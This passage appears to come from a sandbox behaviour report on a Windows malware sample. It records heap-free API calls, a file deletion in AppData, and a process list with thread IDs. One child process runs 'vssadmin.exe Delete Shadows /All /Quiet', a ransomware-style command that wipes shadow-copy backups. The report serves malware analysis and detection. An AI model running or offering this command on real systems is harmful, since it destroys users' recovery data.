Flags=0x0, BaseAddress=0x1c863a8) returned 1 [0034.079] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d17fe8) returned 1 [0034.079] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c866d8) returned 1 [0034.079] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c86650) returned 1 [0034.079] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c865c8) returned 1 [0034.079] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c86540) returned 1 [0034.079] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d18030) returned 1 [0034.079] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c868f8) returned 1 [0034.079] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c86870) returned 1 [0034.079] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c86760) returned 1 [0034.079] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c867e8) returned 1 [0034.079] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d18078) returned 1 [0034.079] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c86b18) returned 1 [0034.079] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c86a90) returned 1 [0034.079] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c86a08) returned 1 [0034.079] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c874e0) returned 1 [0034.079] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d180c0) returned 1 [0034.079] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c86cb0) returned 1 [0034.079] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c86c28) returned 1 [0034.079] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c86ba0) returned 1 [0034.079] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c875e8) returned 1 [0034.079] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d18108) returned 1 [0034.079] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c86e48) returned 1 [0034.079] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c86dc0) returned 1 [0034.079] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c86d38) returned 1 [0034.079] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c876f0) returned 1 [0034.079] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d18150) returned 1 [0034.079] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c86fe0) returned 1 [0034.079] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c86f58) returned 1 [0034.079] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c86980) returned 1 [0034.079] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c86ed0) returned 1 [0034.079] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d18198) returned 1 [0034.079] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c83f70) returned 1 [0034.079] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c87178) returned 1 [0034.079] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c870f0) returned 1 [0034.079] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c87068) returned 1 [0034.079] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d181e0) returned 1 [0034.079] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d19060) returned 1 [0034.080] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d18fd8) returned 1 [0034.080] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d18f50) returned 1 [0034.080] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d18ec8) returned 1 [0034.080] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d18228) returned 1 [0034.080] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d19280) returned 1 [0034.080] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d190e8) returned 1 [0034.080] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d19170) returned 1 [0034.080] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d191f8) returned 1 [0034.080] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d18270) returned 1 [0034.080] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d194a0) returned 1 [0034.080] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d19418) returned 1 [0034.080] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d19390) returned 1 [0034.080] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d19308) returned 1 [0034.080] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d182b8) returned 1 [0034.080] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d196c0) returned 1 [0034.080] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d19638) returned 1 [0034.080] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d195b0) returned 1 [0034.080] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d19528) returned 1 [0034.080] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d18300) returned 1 [0034.080] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d198e0) returned 1 [0034.080] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d19858) returned 1 [0034.080] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d197d0) returned 1 [0034.080] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d1aeb0) returned 1 [0034.080] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d18348) returned 1 [0034.080] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d19a78) returned 1 [0034.080] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d199f0) returned 1 [0034.080] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d19968) returned 1 [0034.080] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d1afb8) returned 1 [0034.080] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d18390) returned 1 [0034.080] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d19c10) returned 1 [0034.080] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d19b88) returned 1 [0034.080] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d19748) returned 1 [0034.080] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d19b00) returned 1 [0034.080] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d183d8) returned 1 [0034.080] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d19e30) returned 1 [0034.080] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d19da8) returned 1 [0034.080] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d19d20) returned 1 [0034.083] CloseServiceHandle (hSCObject=0x286c38) returned 1 [0034.086] ReleaseMutex (hMutex=0x150) returned 0 [0034.086] GetLastError () returned 0x120 [0034.086] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\DP1UHJ~1" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\dp1uhj~1")) returned 1 [0034.087] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0034.087] ExitProcess (uExitCode=0x0) Thread: id = 4 os_tid = 0x694 Process: id = "3" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x33010000" os_pid = "0x7e0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x7b4" cmd_line = "C:\\Windows\\system32\\vssadmin.exe Delete Shadows /All /Quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 5 os_tid = 0x328 Thread: id = 332 os_tid = 0xb38 Thread: id = 333 os_tid = 0xb44 Thread: id = 334 os_tid = 0xb54 Thread: id = 335 os_tid = 0xb48 Process: id = "4" image_name = "System" filename = "" page_root = "0x187000" os_pid = "0x4" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "created_daemon" parent_id = "2" os_parent_pid = "0xffffffffffffffff" cmd_line = "" cur_dir = "" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 6 os_tid = 0x8e0 Thread: id = 7 os_tid = 0x8cc Thread: id = 8 os_tid = 0x67c Thread: id = 9 os_tid = 0x174 Thread: id = 10 os_tid = 0x7c Thread: id = 11 os_tid = 0x44 Thread: id = 12 os_tid = 0x360 Thread: id = 13 os_tid = 0x430 Thread: id = 14 os_tid = 0x6bc Thread: id = 15 os_tid = 0x5bc Thread: id = 16 os_tid = 0x60 Thread: id = 17 os_tid = 0x6e0 Thread: id = 18 os_tid = 0x1c Thread: id = 19 os_tid = 0x7c4 Thread: id = 20 os_tid = 0x668 Thread: id = 21 os_tid = 0x0 Thread: id = 22 os_tid = 0x478 Thread: id = 23 os_tid = 0x6e0 Thread: id = 24 os_tid = 0x56c Thread: id = 25 os_tid = 0x140 Thread: id = 26 os_tid = 0x20 Thread: id = 27 os_tid = 0xd0 Thread: id = 28 os_tid = 0xd4 Thread: id = 29 os_tid = 0x50 Thread: id = 30 os_tid = 0x70c Thread: id = 31 os_tid = 0x704 Thread: id = 32 os_tid = 0xf8 Thread: id = 33 os_tid = 0x464 Thread: id = 34 os_tid = 0x468 Thread: id = 35 os_tid = 0x94 Thread: id = 36 os_tid = 0x61c Thread: id = 37 os_tid = 0x614 Thread: id = 38 os_tid = 0x610 Thread: id = 39 os_tid = 0x604 Thread: id = 40 os_tid = 0x14 Thread: id = 41 os_tid = 0x10 Thread: id = 42 os_tid = 0x24 Thread: id = 43 os_tid = 0x5f0 Thread: id = 44 os_tid = 0x5d4 Thread: id = 45 os_tid = 0x78 Thread: id = 46 os_tid = 0x56c Thread: id = 47 os_tid = 0x500 Thread: id = 48 os_tid = 0x478 Thread: id = 49 os_tid = 0x460 Thread: id = 50 os_tid = 0x138 Thread: id = 51 os_tid = 0xb8 Thread: id = 52 os_tid = 0x3d8 Thread: id = 53 os_tid = 0x9c Thread: id = 54 os_tid = 0x88 Thread: id = 55 os_tid = 0x80 Thread: id = 56 os_tid = 0x8c Thread: id = 57 os_tid = 0x308 Thread: id = 58 os_tid = 0x90 Thread: id = 59 os_tid = 0x28c Thread: id = 60 os_tid = 0x74 Thread: id = 61 os_tid = 0x98 Thread: id = 62 os_tid = 0x68 Thread: id = 63 os_tid = 0x4c Thread: id = 64 os_tid = 0x100 Thread: id = 65 os_tid = 0x198 Thread: id = 66 os_tid = 0x5c Thread: id = 67 os_tid = 0x3c Thread: id = 68 os_tid = 0x158 Thread: id = 69 os_tid = 0x154 Thread: id = 70 os_tid = 0x128 Thread: id = 71 os_tid = 0x130 Thread: id = 72 os_tid = 0x124 Thread: id = 73 os_tid = 0xc4 Thread: id = 74 os_tid = 0xb0 Thread: id = 75 os_tid = 0x84 Thread: id = 76 os_tid = 0x120 Thread: id = 77 os_tid = 0x11c Thread: id = 78 os_tid = 0x2c Thread: id = 79 os_tid = 0x28 Thread: id = 80 os_tid = 0x40 Thread: id = 81 os_tid = 0x30 Thread: id = 82 os_tid = 0x48 Thread: id = 83 os_tid = 0x34 Thread: id = 84 os_tid = 0x64 Thread: id = 85 os_tid = 0x38 Thread: id = 86 os_tid = 0xc0 Thread: id = 87 os_tid = 0x8 Thread: id = 359 os_tid = 0x8a8 Thread: id = 360 os_tid = 0x8b8 Thread: id = 361 os_tid = 0x8c8 Thread: id = 363 os_tid = 0x18 Thread: id = 365 os_tid = 0x90c Thread: id = 366 os_tid = 0x94c Thread: id = 368 os_tid = 0x96c Thread: id = 370 os_tid = 0x99c Thread: id = 371 os_tid = 0x9dc Thread: id = 374 os_tid = 0xa3c Thread: id = 376 os_tid = 0xa6c Thread: id = 379 os_tid = 0xa0 Thread: id = 380 os_tid = 0xadc Thread: id = 381 os_tid = 0xaec Thread: id = 387 os_tid = 0x6c8 Thread: id = 390 os_tid = 0xba0 Thread: id = 393 os_tid = 0xb90 Thread: id = 395 os_tid = 0xb5c Thread: id = 397 os_tid = 0x9d0 Thread: id = 398 os_tid = 0xbd8 Thread: id = 399 os_tid = 0xbf8 Thread: id = 400 os_tid = 0x54c Thread: id = 401 os_tid = 0xbd4 Thread: id = 403 os_tid = 0x7b8 Thread: id = 405 os_tid = 0xa80 Thread: id = 407 os_tid = 0xbec Thread: id = 412 os_tid = 0x174 Thread: id = 415 os_tid = 0xbc Thread: id = 417 os_tid = 0x5b0 Thread: id = 428 os_tid = 0x848 Process: id = "5" image_name = "services.exe" filename = "c:\\windows\\system32\\services.exe" page_root = "0xe84c000" os_pid = "0x1d8" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "created_daemon" parent_id = "2" os_parent_pid = "0x178" cmd_line = "C:\\Windows\\system32\\services.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 88 os_tid = 0x980 Thread: id = 89 os_tid = 0x960 Thread: id = 90 os_tid = 0x950 Thread: id = 91 os_tid = 0x940 Thread: id = 92 os_tid = 0x910 Thread: id = 93 os_tid = 0x484 Thread: id = 94 os_tid = 0x510 Thread: id = 95 os_tid = 0x4b8 Thread: id = 96 os_tid = 0x4b0 Thread: id = 97 os_tid = 0x47c Thread: id = 98 os_tid = 0x130 Thread: id = 99 os_tid = 0x288 Thread: id = 100 os_tid = 0x23c Thread: id = 101 os_tid = 0x234 Thread: id = 102 os_tid = 0x228 Thread: id = 103 os_tid = 0x21c Thread: id = 430 os_tid = 0x9c0 Process: id = "6" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xd3aa000" os_pid = "0x250" os_integrity_level = "0x4000" os_privileges = "0x60b00080" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k DcomLaunch" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\DcomLaunch" [0xa], "NT SERVICE\\PlugPlay" [0xe], "NT SERVICE\\Power" [0xa], "NT AUTHORITY\\Logon Session 00000000:00006bcd" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 104 os_tid = 0x3c4 Thread: id = 105 os_tid = 0x640 Thread: id = 106 os_tid = 0x5dc Thread: id = 107 os_tid = 0x2a0 Thread: id = 108 os_tid = 0x29c Thread: id = 109 os_tid = 0x284 Thread: id = 110 os_tid = 0x280 Thread: id = 111 os_tid = 0x27c Thread: id = 112 os_tid = 0x278 Thread: id = 113 os_tid = 0x274 Thread: id = 114 os_tid = 0x268 Thread: id = 115 os_tid = 0x260 Thread: id = 116 os_tid = 0x254 Process: id = "7" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xd4e6000" os_pid = "0x294" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k RPCSS" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\RpcEptMapper" [0xe], "NT SERVICE\\RpcSs" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b13c" [0xc000000f], "LOCAL" [0x7] Thread: id = 117 os_tid = 0x4e8 Thread: id = 118 os_tid = 0x458 Thread: id = 119 os_tid = 0x690 Thread: id = 120 os_tid = 0x2c0 Thread: id = 121 os_tid = 0x2bc Thread: id = 122 os_tid = 0x2b4 Thread: id = 123 os_tid = 0x298 Process: id = "8" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xd1f5000" os_pid = "0x2c8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Audiosrv" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\lmhosts" [0xa], "NT SERVICE\\WPCSvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b448" [0xc000000f], "LOCAL" [0x7] Thread: id = 124 os_tid = 0xbe4 Thread: id = 125 os_tid = 0x688 Thread: id = 126 os_tid = 0x3a4 Thread: id = 127 os_tid = 0x290 Thread: id = 128 os_tid = 0xb0 Thread: id = 129 os_tid = 0x5b4 Thread: id = 130 os_tid = 0x20c Thread: id = 131 os_tid = 0x358 Thread: id = 132 os_tid = 0x7e4 Thread: id = 133 os_tid = 0x540 Thread: id = 134 os_tid = 0x538 Thread: id = 135 os_tid = 0x52c Thread: id = 136 os_tid = 0x264 Thread: id = 137 os_tid = 0x1cc Thread: id = 138 os_tid = 0x3c0 Thread: id = 139 os_tid = 0x3b8 Thread: id = 140 os_tid = 0x3a8 Thread: id = 141 os_tid = 0x2fc Thread: id = 142 os_tid = 0x2f8 Thread: id = 143 os_tid = 0x2e4 Thread: id = 144 os_tid = 0x2d4 Thread: id = 145 os_tid = 0x2cc Process: id = "9" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xa5fd000" os_pid = "0x338" os_integrity_level = "0x4000" os_privileges = "0x60b16080" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AudioEndpointBuilder" [0xe], "NT SERVICE\\CscService" [0xa], "NT SERVICE\\dot3svc" [0xa], "NT SERVICE\\hidserv" [0xa], "NT SERVICE\\HomeGroupListener" [0xa], "NT SERVICE\\IPBusEnum" [0xa], "NT SERVICE\\Netman" [0xa], "NT SERVICE\\PcaSvc" [0xa], "NT SERVICE\\StorSvc" [0xa], "NT SERVICE\\TabletInputService" [0xa], "NT SERVICE\\TrkWks" [0xa], "NT SERVICE\\UmRdpService" [0xa], "NT SERVICE\\UxSms" [0xa], "NT SERVICE\\WdiSystemHost" [0xa], "NT SERVICE\\Wlansvc" [0xa], "NT SERVICE\\WPDBusEnum" [0xa], "NT SERVICE\\wudfsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b93c" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 146 os_tid = 0x718 Thread: id = 147 os_tid = 0x308 Thread: id = 148 os_tid = 0x6d8 Thread: id = 149 os_tid = 0x6b0 Thread: id = 150 os_tid = 0x590 Thread: id = 151 os_tid = 0x574 Thread: id = 152 os_tid = 0x144 Thread: id = 153 os_tid = 0x110 Thread: id = 154 os_tid = 0x3f0 Thread: id = 155 os_tid = 0x3ec Thread: id = 156 os_tid = 0x3e4 Thread: id = 157 os_tid = 0x3e0 Thread: id = 158 os_tid = 0x3d0 Thread: id = 159 os_tid = 0x3cc Thread: id = 160 os_tid = 0x398 Thread: id = 161 os_tid = 0x394 Thread: id = 162 os_tid = 0x384 Thread: id = 163 os_tid = 0x380 Thread: id = 164 os_tid = 0x368 Thread: id = 165 os_tid = 0x350 Thread: id = 166 os_tid = 0x33c Thread: id = 414 os_tid = 0xb14 Process: id = "10" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x8f04000" os_pid = "0x370" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000cc7d" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 167 os_tid = 0x36c Thread: id = 168 os_tid = 0x15c Thread: id = 169 os_tid = 0x388 Thread: id = 170 os_tid = 0x514 Thread: id = 171 os_tid = 0x318 Thread: id = 172 os_tid = 0x638 Thread: id = 173 os_tid = 0x25c Thread: id = 174 os_tid = 0x74c Thread: id = 175 os_tid = 0x794 Thread: id = 176 os_tid = 0x7a4 Thread: id = 177 os_tid = 0x6d0 Thread: id = 178 os_tid = 0x4e4 Thread: id = 179 os_tid = 0x504 Thread: id = 180 os_tid = 0x7ac Thread: id = 181 os_tid = 0x630 Thread: id = 182 os_tid = 0x524 Thread: id = 183 os_tid = 0x64 Thread: id = 184 os_tid = 0x40c Thread: id = 185 os_tid = 0x798 Thread: id = 186 os_tid = 0x7dc Thread: id = 187 os_tid = 0x344 Thread: id = 188 os_tid = 0x7e8 Thread: id = 189 os_tid = 0x11c Thread: id = 190 os_tid = 0x41c Thread: id = 191 os_tid = 0x618 Thread: id = 192 os_tid = 0x5fc Thread: id = 193 os_tid = 0x5f4 Thread: id = 194 os_tid = 0x5ec Thread: id = 195 os_tid = 0x5d0 Thread: id = 196 os_tid = 0x5c4 Thread: id = 197 os_tid = 0x5c0 Thread: id = 198 os_tid = 0x59c Thread: id = 199 os_tid = 0x480 Thread: id = 200 os_tid = 0x45c Thread: id = 201 os_tid = 0x43c Thread: id = 202 os_tid = 0x414 Thread: id = 203 os_tid = 0x410 Thread: id = 204 os_tid = 0xf0 Thread: id = 205 os_tid = 0xc8 Thread: id = 206 os_tid = 0x3f4 Thread: id = 207 os_tid = 0x3e8 Thread: id = 208 os_tid = 0x39c Thread: id = 209 os_tid = 0x390 Thread: id = 210 os_tid = 0x37c Thread: id = 211 os_tid = 0x374 Thread: id = 382 os_tid = 0xafc Thread: id = 383 os_tid = 0xb0c Thread: id = 384 os_tid = 0xb10 Thread: id = 385 os_tid = 0xb1c Thread: id = 386 os_tid = 0xbd0 Thread: id = 391 os_tid = 0xb9c Thread: id = 431 os_tid = 0xa10 Thread: id = 432 os_tid = 0x594 Thread: id = 433 os_tid = 0xad0 Process: id = "11" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x9014000" os_pid = "0x3f8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000db03" [0xc000000f], "LOCAL" [0x7] Thread: id = 212 os_tid = 0x7c0 Thread: id = 213 os_tid = 0x310 Thread: id = 214 os_tid = 0x128 Thread: id = 215 os_tid = 0x7c8 Thread: id = 216 os_tid = 0x6cc Thread: id = 217 os_tid = 0x644 Thread: id = 218 os_tid = 0x63c Thread: id = 219 os_tid = 0x154 Thread: id = 220 os_tid = 0x150 Thread: id = 221 os_tid = 0x120 Thread: id = 222 os_tid = 0x124 Thread: id = 223 os_tid = 0x118 Thread: id = 224 os_tid = 0x3fc Thread: id = 346 os_tid = 0x478 Thread: id = 416 os_tid = 0x6f4 Process: id = "12" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x941e000" os_pid = "0x218" os_integrity_level = "0x4000" os_privileges = "0x60a00000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k NetworkService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\CryptSvc" [0xa], "NT SERVICE\\Dnscache" [0xe], "NT SERVICE\\LanmanWorkstation" [0xa], "NT SERVICE\\napagent" [0xa], "NT SERVICE\\NlaSvc" [0xa], "NT SERVICE\\TapiSrv" [0xa], "NT SERVICE\\TermService" [0xa], "NT SERVICE\\Wecsvc" [0xa], "NT SERVICE\\WinRM" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e2b6" [0xc000000f], "LOCAL" [0x7] Thread: id = 225 os_tid = 0xb58 Thread: id = 226 os_tid = 0xc4 Thread: 